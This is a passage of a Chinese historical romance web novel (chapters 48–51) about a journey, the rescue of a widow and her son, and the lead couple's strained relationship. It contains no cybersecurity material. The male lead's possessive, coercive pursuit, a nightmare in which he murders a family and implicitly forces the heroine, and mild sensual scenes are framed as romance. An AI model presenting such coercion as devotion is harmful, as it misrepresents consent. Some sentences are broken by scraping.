她顺着望去,对面是一家小客栈,一对衣衫褴褛的母子,正被伙计驱逐。是位年轻妇人,抱着四五岁幼子,身上脏污却不掩眉眼秀色。 旁有几个衣着华丽富态男子,轻视瞧着这一幕,露出恶意的狞笑。 祁清宴握紧祁泠的手,低头,同她轻声道:“阿泠,你上前,救下她。” 第48章 第四十八章【VIP】 女子容貌姣好,又携幼子,姝色便成了怀璧之罪。 对面的眼神,祁泠也熟悉,恃强凌弱,觊觎美色,等到那妇人被从客栈中逐出,他们想做什么一眼便知。 若是她当街遇到,也会尽力相帮。 可是祁清宴……他不似如此古道热肠之人。 她只诧异几瞬,便抬步往前去,祁清宴未跟上来,仍站在客栈门口。 只她一人走去,今日又未带帷帽遮掩容貌,貌美明摆于台面上,看着年纪又不大,那些黏腻令人厌恶的视线转而凝在她身上。 祁泠转身一望,身后无人。 而祁清宴站在客栈门口,隔着遥遥人群看着她。即使如此,也让她心倏然落下。 几息的功夫,等到祁泠从看热闹的人穿过,到了近前,那母子已被客栈的伙计推到在地上。妇人低垂着头,将懵懂不知事的孩子护在怀中。 伙计还在恶毒的咒骂,“没钱住店装什么,不如去暗巷做妓女,来养活那小野种。” 祁泠受不了这等污言秽语,正要拉起妇人,再开口。 妇人一手挡住孩子稚嫩的脸,抬着秀丽面庞,嘴一张,“你才是狗杂种,有人生没人养的死东西,竖子小人,小小年纪趋炎附势。我母子分明交够了房钱,你们却提价,只提我的价,狗娘养的王八蛋子,来日……” 她连着骂了一串脏话,祁泠呆在原地,伸出去扶母子的手愣在半空之中。 非是她不想再扶,而是实在太过惊奇。她周遭之人包括郎君娘子,无人会这般说话。而且那妇人瘦瘦弱弱,弱柳扶风般,骂出粗俗话,实在反差甚大。 祁泠第一次知晓何谓人不可貌相。 她伸出去的手被妇人粗粝的手拽住,她一手拖着孩子,另一只手由祁泠拉着,先站起身来。 小娘子对她伸出手,明显是要扶着她起来。 输人不输阵,妇人深谙此理,站起来后不光骂黑心客栈,也骂旁边对她虎视眈眈的人,骂他们皆是下流胚子。 伙计被骂的失了些许方才嚣张气势。他知晓这位是个难缠的茬,一个小寡妇能将儿子生下来养大,平日也是泼辣的。 只是他们客栈受了人好处,要逼着母子无处可去罢了。 眼见事情闹大了。越来越多周围住着的人围观,指指点点他们客栈坑人。另外还有个衣着华贵的娘子扶起那小寡妇,瞧着定要为其出头。 伙计下意识瞥向方才站在旁边的几人,却见他们目光直直看着人群前的俩娘子,没反应。 他又转头,客栈老板躲在柜台后,朝他挥了挥手,示意快些解决。 “瞎、瞎说什么!我们店在这开了十几年,一直亲民,平日里谁赊个一两半两的也应了,怎么会针对你?看你孤儿寡母,好心收留,竟被反咬一口,快些滚蛋。”伙计越说气势越低,一挥汗巾,跑进去了。 那妇人还要骂,周围看着人却起了怀疑,议论的声音四起,伙计的话也有可信之处,这店确实未曾对旁人涨价。 她听见声音不对,也便止了声。 身处弱势,只好算了。 祁泠扶着这孤儿寡母,问:“夫人可有暂落脚之处?若没有,不如暂且随我去,我落脚在城外,离此不远。” 妇人不欲麻烦人,她长得好,却活得艰辛。大多时候都是自食其力,不肯受人施舍。 两人还没说清个所以然,等在一旁许久的两人先不干了,开口:“哪里来的瞎捣乱的小娘子,捡个小寡妇回去做什么?总不会要享什么磨镜之好,那还不如随我们一起走。”说罢又是一阵哄笑。 可惜这话毫无攻击力。 妇人是时日久了,脸皮厚了,不觉如何。祁泠听不明白,只皱眉,觉得对面的人病得不轻,拉着妇人便要走。 觊觎妇人美色许久的人怎会应,撸起袖子正要上前。 “阿媅。” 有人朝着这边走来,郎君面如冠玉,周身衣着虽不显眼,细细一瞧,连靴子用的料子都是一寸一金的锦缎。 人靠衣装马靠鞍,兼周身气度,便让人知晓不是能惹的,恐怕有些来头。 两人又不是傻的,见此歇了声。 直到祁清宴走到近处来,祁泠才发觉他是在叫她。 阿媅,媅,是许久前他要起给她的字,她那时不要,说以后再用。 如今确实合适, 她轻轻应了一声。 带来 不知为何只因一个字被她所用,两人之间有了更多关系,便会因此而轻松愉悦。 祁清宴干脆无视旁人,同她道:“阿媅,我备了马车,你同这 语毕,他目光望向妇人,视线略青色小痣上,颜色淡的几乎让人瞧不见。 只是看了一眼痣,他便移开视线。 祁泠*应好。他要做什么,举动向来快,准备也周全。 妇人站稳后便不用祁泠搀扶,随着她到了马车上。她也不担忧有人要害他们母子,反正都到了这般境地,更糟她也能承受。 只是坐在马车上,她问:“你们要在这里带呆上几日吗?” “似乎晚间便要走,”祁泠并不知晓这是哪里,解释道:“我们要往南边走,你可以与我们同行,换一处生活。或者住在客栈中也好,我留下些银钱于你母子度日。” 孩童乖乖倚在母亲怀中,扭着头,眼睛一眨一眨地看着祁泠。 妇人一手抱着孩子,摊开另一只手与祁泠看,手上茧子几乎布满,她也垂头看着,道:“银钱无用的,小娘子。” “我什么苦活累活都干过,绣过衣裳也洗过衣裳,攒下些银钱。原先是租赁小院我母子二人居住,但晚间总有人扰……后来换到客栈,出门被衙役的弟弟瞧上,又如今日娘子所见,前几日被偷了银钱包裹,身无分文,被逼迫到如此境地。” 建业又何尝不是如此。 祁泠道:“随娘子,留在这里或换个地方,我会与……同行之人说,让他为娘子寻一处安身之地的。” “方才那人是你夫君?”妇人问。 “不……”祁泠不知该如何说。只先说不是,道自已姓祁,又问过她姓,总不能一直唤夫人。 妇人道:“……多谢,旁人唤我二娘,我有本名……”她垂着头,摆弄着儿子的小手,声音低如微风,轻轻拂过,“林照君。” 待到了客栈,银盘忙挽上祁泠,看着从马车下来的母子,小声问:“娘子,这么还带人回来了啊?” 祁泠便同她简单说了所见,又吩咐银盘回去拿些衣裳去。林照君同她身形差不多,送去针线,她自已小改袖口衣摆便好。 因午后落了雪,似雪似冰,路不好走,一行人在此留一晚,打算明早再出发。 晚间,祁泠沐浴过后躲在床内里,闭眼但睡不着,听见脚步声,过了会儿,她扫一眼床榻下。 祁清宴正脱去外袍,方露出内里的白来,她顿时转头朝内不看。窸窸窣窣的换衣声响了一阵儿,旁边被子掀起,躺下一人。 她顿了会儿,实在想知道,才转身过去:“为何让我去救?” 祁泠想不明白,他为什么主动要救是个问题。其次便是,明明他上前直接能解决的事,他却让她去。 祁清宴伸手,扶着她肩头,将她离他极远的床榻内里揽过来,温香软玉抱在怀里,才安心。 也如实回答:“我看她眉心似有痣,年岁二十出头,些许像徊粱故人。只是尚不确定,要派人查一查,先带着她吧。” “燕郎君?”祁泠问着。 祁清宴嗯一声。 祁泠心静不下来,反复琢磨总觉奇怪,燕郎君久居建业,怎会有故人在此? 后她去寻林照君,两人又说了会话,林照君道她就住在这附近,在市井摸爬滚打许多年,及笄就嫁了人。可惜夫君第二年死了,她被婆家骂克夫,被赶出来才知怀了身孕,做些零活拉扯儿子长大。 她毫无困意,睁着眼睛抬头祁清宴,“我今日问了那夫人名字。” “嗯……她如何说?”祁清只是认真听她说话,并不将希望寄于此。他们那些前朝人,要谨小慎微地活着,怎会轻易告诉萍水相逢之人真名。 “她说她姓林,名照君。” 祁清宴睁眼,眸色微动,低头亲了亲额头,“我不必查了。好阿泠,就是她了,我们带她一同去新城。” 祁泠眨了眨眼,知道这人就是他口中燕徊粱故人。可她想不明白,长大之后肯定不熟,那便是许久之前,小时候? 唇上落下一温热的吻来。 祁泠想都不想,赶忙闭上眼,没想到这回他道:“还不困吧,阿泠?” 他没留祁泠回答的时间,话音方落,唇便温柔地贴上她的额间,祁泠僵着不动,吻沿着眉心慢慢滑落,封住唇。 唇齿缠绵片刻,又往下。 祁泠睁眼,伸手搭在他身上,不是迎合,反倒是一点点抗拒。他吻停在脖颈处,不再往下,喜到浓处,含住她小巧嫩白的耳垂,轻舔又咬了一口。 她顿时气息不稳,克制不住,唇齿溢出一声娇媚的吟声来。 两人皆愣住。各有各的惊奇。 祁泠整张脸涨红,面红耳赤,不知道自已为什么会发出这样的声音,咬紧下唇,怎么也不肯出声了。 而祁清宴,脸色也不算好,浑身的血往一处涌,呼吸沉沉,眸子里晦暗不明,欲色难掩。 她又稍稍挪了腿,显然是察觉到了,怯怯往里面躲着,闭着眼装困了。 他呼吸停滞一瞬,脑海中浮起千万种旖旎念头,但最后只是抬手扶住她青丝,极重的吻覆上,狠狠缠磨几瞬。 随后他起身,囫囵着用被子包起祁泠,留她先睡,自已转身大步去了内里净室。 第49章 第四十九章【VIP】 祁泠毫无困意,微微张着嘴喘气,平复过快的心跳与发烫的脸颊,直到有脚步声渐近才重新闭上眼睛。 他换过衣裳,周身裹挟凉气,躺在外侧,没如同往常一般径直将她揽入怀里,两人安静躺着。 良久,她才落入熟悉的怀里,听他轻声道:“阿泠,我等你愿意……只要你一直在我身边。” “睡吧。” 入睡前反复想着他的话,她留在他身边,他愿意等。那她要是不想留着呢? 他还会如今日一般迁就她吗? 祁泠睡得不甚安稳,竟做了个过分荒诞的梦。 两人重新回到建业去。 依旧如离开建业时一般无二,他迫着她私下相会,她时时刻刻提着心,担忧着被旁人撞见,而他仍然毫无顾忌,我行我素。 祁泠无法忍受,重来多少次也受不得。想着逃走,这回趁着他不在家中,她背上包裹匆忙逃了。 在外安稳过了一段时日,她寻了合适的人家嫁过去,直到大婚日,他一直没出现。 坐在喜床上,满目皆是红色,她枯坐一夜都没等到夫君。 直到听到熟悉的脚步声。 她知道来人是谁,相处如此久怎会听不出。不说话不动弹,只是身子愈发颤抖,沾染的血的手挑起她盖头。 他着白衣,却染了半身的血,比她的改了许多次的婚服还红,脸颊也有溅落的血,比往日骇人。 祁清宴扯唇,勾起几分嘲弄:“你偏要嫁,他们便死了,一家都死了。我说过你不听话的下场。” 那双黑沉沉的眸紧紧盯着她。 俯身压下,再无视她的哭喊。 罚她又一次骗了他。 祁泠被吓醒了,醒来看着眼前简易的架子床顶,身上已被冷汗浸得黏腻,又湿又冷。 她愣神许久。 怕是因为,这梦尤其真。若他一直没改变心思,她回到建业当真会想法子再离开。不嫁人,也会寻其他可行的法子。 而他说话,不作假。 上次险些牵连何家。 那日寻到她,险些要迫她。 而他如今打定主意一直缠着她,不知何时才会放手。 祁泠不知怎么办。先前以为时日久了,他会厌烦,从昨晚的话看,他却更有耐心了。 祁泠觉得有些无力,深深呼了几口气,坐起身,掀起锦被,下床去。 身旁早早无人,连余温都散了干净。 披上外衣,只觉几分严寒,祁泠推开窗子,见外面落雪已停,只留满地灿白,有些晃眼。 不时有侍从搬着箱匣送到客栈外的马车上,若她没看错的话,周围护卫又比昨日多上一些。 银盘不多时端了早膳进来,两人一起用过早膳。沉弦奉祁清宴的吩咐来唤两人,准备出发了。 出门不远,见到林照君母子,这对母子已不是昨日模样,换了干净整齐衣衫,又得一夜安眠,精神极好。 林照君洗净了脸,因着当了母亲更有温柔神色,不开口便是温婉夫人。小孩子只是模样可爱,不大像林照君,能看出父亲样貌寻常。 昨日几番闲谈,祁泠已经知道小孩名字,伸了伸手,“冬奴,来。” 林照君说孩子是冬日出生,取冬字,为了好养活,盼他能健康养大,取了奴字。 尚未起大名,现下就唤林冬奴。 冬奴乖乖到了祁泠怀里,由她抱着走,林照君与她同坐来时那辆马车。 祁清宴没再来抢地方,也未坐马车,只在旁边骑马,祁泠上车时远远看到了他的身影。 她一路抱着冬奴,十分娴熟。 “若不是看你年纪小,我险些以为你也有孩子了。”林照君掩唇笑着。 祁泠也笑着答,“我有一妹妹,今年八岁,她小时我也常抱的。” 银盘在一旁点头,“小娘子很黏着姐姐。” “真好。”林照君的神情忽而有着化不开的悲伤,“我也有姐姐,但许多年未见了。” “林夫人的姐姐嫁到远处了吗?”银盘顺口问了一嘴,她心思向来单纯,也不知道背后的事。 林照君点头,“算是吧,她嫁人后,我们再没见过。”她和姐姐也差了许多岁,她方记事,全家就遭了祸事。 银盘还啊了一声,绞尽脑汁说着笨拙的话来安稳林照君。 祁泠约莫着猜明白了。 或许林家有人在前朝任职,亲皇族,江山覆灭后举家遭难。 祁清宴说的旧识是两人小时认识。 只,而林照君流落市井,过得辛苦。 如她要问祁清宴具体,他定会同她说,近。 ,祁泠侧过头,掩唇咳嗽起来。 银盘见是祁泠在咳,顿时惊的诶呀一声。 痒劲一来,怎么也止不住,祁泠将怀中冬奴递给林照君,自己转过身连着咳嗽。 林照君一手抱着孩子,另外探手探了探祁泠额头,动作熟稔至极,又摸了下自己。 语气不免担忧,“娘子怕是发热了,这时不能耽误,容易发高热。” 银盘闻言害怕了,她家娘子身子虽然一般,但寻常也不怎么病的。 她将发热当成大事,当即从马车出去,同车夫说停一停,她要去后面的马车寻药。 比药更先来的是祁清宴,他一直守在不远处,见马车有异动,走近听清银盘的话。 内里除了祁泠还有林照君母子,他在距马车几步远的位置唤着阿媅。 祁泠说没事,猜是早上冷到了。可还有小孩,若真染上风寒,传染过去就不好了。 她出去,祁清宴将人揽住,带她去了他的马车。 祁清宴伸手探了探她额头,“确实热,我们在前寻个地方住下,晚几日再去新城。” 祁泠闻言不停摇头,“我觉得无事,不必大费周章,已耽搁许久了。” 先是回去寻她,随后又一路停留。 总在路上耗着,什么时候能回家去。 “怎么也要去一趟医馆。”祁清宴坚持道。 其余人继续照常走。 岔路口分出几辆车马,大多走小路,抄近去新城。而祁清宴单独带着祁泠往大路去,去前面的镇上,寻了一家医馆。 冬日染风寒的人多,内里咳嗽声一片,老弱病幼皆有,小药童忙得不可开交,见两人来了也是挥挥手,“我师傅忙着,郎君和娘子等等罢。” 祁清宴转望着面色发白的祁泠,她眉眼都耷落下来。他捏了捏她手,手烫,浑身比寻常烫,精气神也不大好。 似乎比方才严重些。 他一时着急,留祁泠在堂前坐着等,他自己从人中穿梭过去,顾不得嫌弃咳嗽的旁人。 找到正在抓药的老大夫,他敬着人,语气尊道:“郎中,我内子发热,才过去片刻就热得厉害,劳烦先替她看上一眼。” 老大夫抬头瞧了几眼,见他神情紧张,面冒汗珠,当真像担忧妻子的丈夫,信以为真,抓完药便随着往前去。 “阿媅,”祁清宴先回来,让祁泠伸出手,由着把脉。 老大夫一把,压根不是什么大病,“令妻着凉,风邪入体,让我小徒弟拿几服药就好了。”随后起身,瞧也没瞧就走了。 祁清宴皱眉,觉得这太过敷衍,付过小药童看诊的银钱。他拉着祁泠的手,“走,阿媅,我们去旁处再看。” 而祁泠直接接过小药童递来的药,道了多谢。 祁清宴只能随着她,回到马车上,他吩咐下面人熬一副药来,不久便送了上来。 祁泠靠着软枕躺着,身上盖着他的氅衣,见药来了撑起身,看着他问:“银盘呢?”这病不重,可却没有一点力气,连抬手都难。 “我留在她林照君那里。等你病好了,我们快些赶上,就能见到了。” “你——”祁泠急的有点晕。 他竟把银盘留在那边了。 她又病着,没力气,谁帮她盥洗,陪她如厕,喂她用膳吃药,与她说话解闷。 祁清宴是故意的。 他已不满足晚间陪在她身边,她总是闭着眼睛装睡不理他。亲密又易失度,最后只留他一人难受。 清醒的白日正好相处。 他舀了一勺药汁,仔细吹凉,递到祁泠唇边,“银盘照顾你,我也能。” 第50章 第五十章【VIP】 祁泠气得都不知说什么好。 银盘对她来说多重要,陪在身边,即使嫁人后也要在一处的,他做什么同银盘来比。 偏此时还受不得气,一着急就咳嗽起来。侧过头去,掩着唇咳,不与他继续说。 祁清宴抬手,轻抚上她脊背,动作轻柔又缓慢,道:“银盘是与你好,我知晓。但她也不能一直陪着你。过几年她年岁到了,要出府嫁人,那时你怎么办,岂不是更伤心?” 虽想着不与他辩驳,但祁泠还是忍不住回嘴:“那是以后的事,几年后不知是什么情形,现下说来也无用。” “好。先喝药吧,此刻其余事不重要。”祁清宴重新舀了一勺,将药递到祁泠唇边。 药汁的苦涩气味瞬间飘满整个鼻腔,虽说讨厌药的苦味,不喝青娥送来的药是托词。 但祁泠也是真的不喜这个味道。 只要冯夫人的屋子里一充满药味,便是她身子又不好了。 想到冯夫人,养好病早日回建业要紧。 她张开嘴,听话喝下他递过来的那勺药。两人僵持了一阵,药已彻底凉了。 祁泠朝着药碗伸出手,打算接过来,“我自己喝吧。” 祁清宴也顺着她。 她接过来时,马车压到石子颠簸一瞬,药碗晃动一下,险些溢出药汁。对面的人还欲重新拿过去,她却已手疾眼快地放到唇边,仰着头,一饮而尽。 苦涩味还未散去,嘴里被塞进一只酸渍梅。酸中带甜,浓重的梅子酸甜味压过药的苦。 祁泠掀起眼帘望去,他手中拿着一瓷罐,随他一动发出哗啦啦的声音,内里皆是梅子。 祁清宴出见她视线定在装梅子的罐子上,将其收回袖中,随后解释道:“我见叔母给你带了许多,这几日吃的差不多了。便又备了些。” “如今总是咳嗽,不能吃太多,等你病好再吃。” 祁泠眼神随着瓶子到他袖上,眼见他暂时不会拿出罐子,咽了咽口水。 她再次躺下,眼睛也闭上了。 马车比她来时坐的那辆宽敞些,祁清宴将地方挪出来大多半,改过一番,让她有休憩之处,只剩靠门的角落能坐人。 他也不觉小,坐在那里,望着她。 不稍多时,沉弦悄悄冒个头进来,声音极低唤一声郎君,手中装水的皮囊递给祁清宴。 车帘掀起,短短几瞬便带来些许寒气来,祁泠有些冷,拉起身上毯子,盖到下颌处。 “喝些温水,润润嗓子,阿泠。” 祁泠这回也不与他多费口舌,起身,听话接过拔了塞子的皮囊,吞咽几口,放回他手中,自己又躺回去。 喝的药有安神之效。 她原本不困,喝过了水,马车内安静,偶尔能听见他的呼吸声,不注意他,便只能听到外面车轮滚动的声响。 睡意渐渐涌上,所处之地变得虚浮,又入梦中,这回却睡得安心。 嘴中余下的一丝药苦和甜味,似回到幼时生病,在冯夫人身边,母亲会喂她喝药,之后再耐心喂一块甜糕。 那时候,她还很小,还住在祁府里。 长大后,再未有过。 人的心神精力皆有限,冯夫人自己身子不好,又有年幼需照料小女儿,对养女纵视如亲生,也会有疏忽之时,不能时时看顾。 她知晓这是应当。 只是心里仍隐隐期盼有人能对她好,眼里心里只有她一个。 “母亲,母亲……” 恍惚听得她几声呓语。 祁清宴握住祁泠四处乱动,不安的手,吹灭一旁的烛灯,已至晚间,四周顷刻陷入黑暗。 他和衣躺在床榻外侧,长臂轻揽住她。 怀中人渐渐睡得安稳,他亦闭上眼,不敢睡熟,时不时醒来,伸手探她额间温度。 睡了太久,头又晕又沉,祁泠睁开眼眼前昏暗,目不视物,看不清周遭的一切。 她望着上方,未动。 身旁人的呼吸,以及传过来的热气,身上盖着暖和的被皆让人安心。 眼睛习惯了暗处,慢慢能看清些。这里又是一处陌生地,约莫是那处驿站或是暂居的客栈。 她侧过头,旁边的人轮廓模糊,看不清五官,却也知道是他。 她的手被他牵着,力道不大,十指相扣的姿态。 不好挣脱。 索性算了,她重新闭上眼…… 腹中有饿意,再次醒来察觉到粥的香气。明亮的曦光照到身上,暖盈盈的。 ,擦过眼尾,拭过额间,睁眼一片朦胧。 见她醒了,遮挡视线的东西立刻移开,映入清宴,旁边放着盥洗的用具。 ,修长的手落入水中,拧起帕子。 祁泠太长时间没吃东西,又病着,力气小,撑着床沿,慢慢坐起靠着木架。 嗓间发干,唇也应是干涩起皮的,但因方才被人擦拭过,而显出几分苍白的润泽。 她下意识抿抿唇,垂眼不看他模样,唇间说出几个干巴巴的字:“你不必这般对我。” 原以为他说的照顾,只是口头话。 以他的身份,向来是旁人上赶着去照料他,家中长辈偏爱,侍疾也舍不得让他亲自动手,他何尝会照顾什么人。 今日在替她盥洗,做着他未做过的事。 “为何?”祁清宴握着手中温湿的帕子,心被她这句话说的拔凉。 连照顾她,她都不愿。 他反问:“那你要我如何,阿泠。同处一屋檐,不与你说话,当做陌生人,只冷面强迫于你吗?” “你能看到其余人的好,无论是谁……” 无论是养大她的冯夫人,还是周围人,还有那个何岫,但凡对她一点好便记在心里。 那他呢? 怎么就到了十恶不赦的境地。 胸膛翻涌起无边情绪,欲让人发疯。他强压下想说的话,一顿,才道:“我说留你在身边,是想要真的与你一起。不是你满心不愿,尝不到一丝好。” 祁泠垂眼,望着放在被褥上的手,不言语。 总是这样,总是不说话。 抗拒之意明显。 祁清宴不喜她的态度,连辩驳都不与他说,心头难免生起几分微薄的怒意,对她实在无能为力。 可看着她苍白的病容,心又软下来,不想与她争吵,也不想两人关系变得更糟。 他起身欲先离开,视线望见一旁桌上的粥,端过来,放到她旁边。 转身出去,再未同她说话。 他走后许久,祁泠端起粥,垂着头,视线不清晰,碰到碗边时,粥的热从指尖递到心里。 她拿起勺子,一勺又一勺吃着。 食之无味,她宁愿他一直对她不好,起码那样她会一直恨他,直到两人各走各路。 恨里再不掺杂旁的,任何一点情绪。 喝过粥,又喝了沉弦送来的药,休息一会儿回到马车上。 两人走的大路,多坦途,颠簸少。 祁泠已觉比昨日好上许多,并不发热,只是仍没力气,药又使人发困,不多时又睡过去。 再醒来,不再躺在拼凑出来的休憩木榻,反倒窝在他怀中。 他斜靠着车壁角落,眼皮沉阖,呼吸清浅,眼下有一圈淡淡的青色。 似乎睡熟了,却仍紧握着她的手。 她知道,他一直守在旁侧。 她意识偶尔清醒时,察觉到他醒着。 祁泠闭上眼,不再看他。 不要动摇她的心,哪怕一丝都不行。注定没有好结果,便不要让她陷入更加可悲的境地。 …… 白日马车慢慢地走,晚间,他会寻合适客栈落脚。 两人一直单独相处,却几乎不说话。 二日过后,竟也赶上了去新城的其余人。 祁泠又见到银盘,换到了林照君和银盘的马车上,与他分开。 又过一日,她彻底病好时,一行人也到了新城。 新城原名洪池城,前些年曾遭了水灾,冲塌城镇中的房屋,死了不少人。后朝廷拨款,派将作监重建。 原来的名字寓意不好,遂换了名字。 城中砖瓦看出几分崭新。 一路向南,愈走愈暖,到了新城已经暖和些许。他口中的雪,已全部融化,再看不出落雪痕迹。 马车陆陆续续入一府内。 祁泠下了马车,和银盘一起扶了把林照君母子。她抬眼望去,一眼见到在不远处同人说话的祁清宴。 而他对面的郎君,眉眼蕴笑,风流不尽,注意到这边动静。 谢子青视线在祁泠身上停顿,但并不惊奇,已然知道祁清宴所去为何,主动上前。 祁泠记得上次见面还是她同祁清宴撕破脸时,仔细想想,明明才过去几月,却恍如隔日。 她行一礼,“郎君。”出门在外,不是否需遮掩身份,故没直接道明。 “小嫂嫂。”谢子青笑,和往日的笑并没有什么不同。只是称呼让祁泠一愣,侧身,并不答应。 林照君牵着还没有腿高的儿子,见这一幕也不露出好奇或是什么的神色,只安静等着。 “走吧。”祁清宴看出祁泠的不适,率先往内走去。 有府上侍从带着女眷去落脚住所,一行人分开。 祁清宴与谢子青往议事的堂子走,他忽而开口:“如要唤她,便去小字。不则,还是唤她二娘子罢。” 谢子青愣着。添一小字,只意着不是正妻而已,一妾室或是旁的得这一唤已是抬举了。 这一句话便点明。 他声音惊奇,“难不成,你要娶她?” 祁清宴颔首,是如此打算。 只是娶她要废心思,想到法子让她应允更难。 但在他心中,两人同床共枕,耳鬓厮磨,属实已与夫妻无异。 “疯了,你也是疯了。”谢子青的眉紧紧蹙起,神情出乎意料的严肃,“我当初劝你可纳。纳和娶不一样,悄悄纳了也罢了。娶要两家门当户对,二媒六聘,光明正大,你们俩哪点符合?” 祁清宴格外平静,语气轻缓,道:“事在人为。” 50-60 第51章 第五十一章【VIP】 谢子青嘴里念叨着疯了疯了。祁清宴已说出如此话来,那想法已定,再不打算改变。 他不与祁清宴同行,率先大步走进院前的堂子里。 有一郎君披着厚重的狐裘,面容苍白,见友人到此眼角眉梢带着难掩的欣喜,亲自迎了两人入内。 祁清宴打量燕徊粱一番,“气色倒是好了许多,等在新城事了了,也该去临川了。宫中传出密信,皇帝罢朝几日,身子亏空,再等撑不了太久一年半载……也足矣了。” “我们早些回建业去,”谢子青说着忽而笑一声,“等回去,祁叔也在,祁家就要大乱一场了。” 燕徊梁问着怎么回事。 谢子青可算遇到人倾诉,同他噼里啪啦说了一通,结果对面只是点点头,道:“如此也好,我观三娘子是心思剔透之人,与三郎正好相配。” 好不容易遇到同他想法一致的人,祁清宴坐下,神情自若地喝起茶,还倒了一杯,递到燕徊粱面前,“徊粱,润润嗓。” 心中还思量着,要带祁泠去朴老处再看一看,重新开些药来补身子。 “你的家事,我不管,只要你自己不后悔便好。”没人搭理的谢子青换了个话问,“随着你家……三娘子来的人是谁?” 他还是唤不出来嫂嫂,索性和从前一般称呼祁泠算了。得罪也是行不通的,祁清宴摆明要一直护着。 “林家的小女儿,林照君。”祁清宴抬眼,也答了他。 “这名字好生耳熟……”谢子青转头看到燕徊梁神色,灵光一闪,恍然大悟道:“是那个林家啊。” 祁清宴道:“她自小聪明,当年藏在乞丐里躲了祸患,一路跟着走到这里来,被一户人家当做童养媳收留。长大嫁人,夫婿一年死了,她被赶出来,独自拉扯孩子长大。从前未寻到,或许因为,猜不到她是自己走这么远。” 皆猜她一孩童,被拐或卖。照着这条线找,实在想不到一个如此小的孩子能自己走到这里。 “林家几代忠臣,不应被牵连的,她的今日,皆怪我。”燕徊粱以手指抵唇,咳起来,脸色浮起病弱的虚红。 “怪你?此事是与你有点有关,可当时你多大?六岁,七岁?一个小孩子答应的亲事,林家也当真,忙着定下来。” 谢子青讥讽道:“贪心不足蛇吞象,林家家主想让林氏成为真正的皇亲国戚,否则,怎会嫁到宗室一个女儿不够,提前十几年打算再嫁小女?” 燕徊梁沉默良久,“总归因我应了,才生祸事。” 他当时不晓事,嚷着要同林家结亲,定下一桩娃娃亲来。最后皇朝倾覆,林家因着姻亲被牵连。 …… 客房次间的窗沿下,罗汉榻上铺着茵褥,室内一片幽静,窗沿洒下柔和日光。 林照君缝着冬奴穿破的里衣。冬奴在屋里走了几圈,渐渐适应了这里,趴到娘亲身边,细声细气问:“娘,我们以后都在这里住,不用再搬来搬去了吗?” “不,冬奴,只是碰到好心人,暂时住在一阵儿。”林照君摇摇头。 若是她自己怎么凑合都是可以的,只是有孩子,受不了颠沛流离的苦。 她又缝了两针,补好冬奴的衣裳,摸了摸冬奴脑袋:“这不是我们的家,只可以在院子里玩,不要出去乱跑,冬奴。” 冬奴点点小脑袋,记在心里。 院外有侍从守着,也不怕走丢。 冬奴吃了饭,抱着藤蔓编成的木球在院中反复丢玩,跑出一身汗。 木球咕噜咕噜滚到院口,他也弯着腰,追着过去。到了门前,见到好看绣着花样的靴子,往上瞧,是位极其漂亮的人,肤色白得似瓷,眉眼画一般。 小小的冬奴呆呆抬头,“姐姐好……” 娘亲教过好看的人要叫姐姐,冬奴也叫祁泠姐姐。 燕徊粱俯身,瘦得过分指节明显的手捡起了木球,声音宛若清涧,含着一丝病弱的哑,“不是姐姐,若论辈分,你该唤我一声叔叔。” 冬奴点头,“叔叔。”他是个极听话的孩子,听娘亲的话,也听其余人的话。 “真乖。”燕徊梁笑了,把手中木球递过去,冬奴抱着,又乖巧说了谢谢叔叔。 “冬奴。” 听到熟悉的娘亲声音,冬奴立刻回头,抱着木球跑过去,扑进林照君怀里。 林照君抱起儿子,一双眸带着些许警惕地看着对面身披华衣,却病容模样的男子。但还是先守礼,稍微俯身唤一声郎君。 燕徊粱微微笑着,解释:“我住在前面门走一走,走到这里,看见了这孩子,他叫冬奴?” 住在此地,相识的人。 因为祁泠, 林照君点头,听燕徊梁问 年轻的妇人身穿素衣,怀抱幼子。面容隐隐与幼时稚嫩又娇气的脸庞重合,眉间青色小痣变浅太多,但总归有一丝相像。 他在建业周围寻了她很久。 多年前说要娶她,两个稚嫩孩童的约定,却让她家中遭祸。 他一直对她心中有愧,有余力便开始找她。即使他也艰难苟活,才熬到如今。 “夫人是三娘子的友人,大可在此安心住下。我住在前院,夫人若有事,同三娘子说,也可去找我。” 燕徊梁察觉到她的警惕,说罢,同母子俩颔首一礼,随后离去,步伐极慢。 林照君望着他的背影,内心生出一点疑窦,觉得他奇怪。 也想不出所以然,只能暂时作罢。 …… 祁泠以为两人正在冷战,晚间不会一同睡了。 来新城的后几日,他同她只说些要紧的话,譬如药好了,用膳了,安寝了这些。 到了此处,不住在一处,应当也不会再见面。 祁泠同林照君住在一院中,此处是租下来的旁人府邸,侍从也一并有了。 用过晚膳,她又去林昭君屋中小坐,和冬奴玩了一会儿。再回到自己屋里时,见到低着头的沉弦,还有站在一旁气得脸颊鼓鼓的银盘。 “三娘子……”沉弦抬眼看了眼祁泠,声音小小的,“郎君请娘子过去呢。” 祁泠不知祁清宴如此锲而不舍的劲头是从何处来。两人不同对方多说话,晚间还要一同睡什么? 她兀自走进屋中,道:“我还是不去了,这里人多眼杂,你回去,同他说一声吧。” 沉弦劝又不知道怎么劝,被银盘盯着,嘴唇翕动几下,还是自己先走了。 不稍多时,屋门又被敲响,沉弦又声音飘进来,“三娘子,郎君来了。” 祁泠正在靠在榻边小憩,闻言惊得站起身来。想起旁边的林照君,以及就住在前面院子的谢子青和燕徊梁。 她耻于被旁人发觉两人关系。今日没应他,也是因为谢子青唤的那声。 可他寻到这里来……祁泠迅速披上外衣,加了披风,带好兜帽,带着银盘一同走出院中。 院中有旁的女眷,祁清宴不便入内,就在院侧等着,见祁泠出来,朝她伸出手,“走吧。” 只是手方递过去,心里就知晓她恐不会应和。两人间,一直都是他主动太多。 而她,一直抗拒。 手中温软落入,牵住他指尖。 祁泠在前,带着他快步往回走,恨不得一瞬就能到他的居所,不被旁人看见。 即使明白她的意思,但心间还是蔓延开来欣喜,争执过后的心中郁结被冲淡,最后消失不见。 反握住柔荑,不松手。 祁*清宴独住一院,正备了一桌膳食,打算与她一起用。 “我吃饱了。”祁泠道,自顾自脱下披风,入了内室,将披风放在熏笼上烤干。 祁清宴独自用膳,沐浴回来,回来见她已躺下准备睡。他道:“阿泠无事时可与林夫人一同出门去,我有空也可陪你去。” 祁泠下意识便道:“我与林夫人一同去吧,你忙你的便好。” 她话音一落,祁清宴就问了为何。 “我们的关系不便如此。” 他顿了顿,到底语气缓和:“知晓的人不会多说,其余人不知我们身份,被当做夫妻又如何?” 祁泠支吾一声,含糊着不应。 